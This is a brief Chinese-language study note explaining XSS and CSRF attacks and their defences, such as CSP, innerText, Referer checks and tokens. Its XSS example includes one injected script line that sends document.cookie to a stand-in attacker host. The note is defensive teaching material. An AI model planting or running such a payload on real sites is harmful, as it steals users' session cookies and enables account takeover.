XSS
XSS:跨站脚本(Cross-Site Script)攻击,利用恶意脚本注入。关键词:script
- 举例
div.innerHTML = userComment // userComment 内容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
// 恶意就被执行了,这就是 XSS
- 预防
- 不要使用
innerHTML
,改成innerText
,script会当成文本不会执行 - 用户输入过滤
- 使用CSP(Content Security Policy)
CSRF
CSRF:跨站请求伪造(Cross-Site Request Forgery),伪造发送非本意的请求
关键词:request
预防
- 验证码
- Refer
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。通过 Referer Check,可以检查请求是否来自合法的"源"。 - token验证
可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。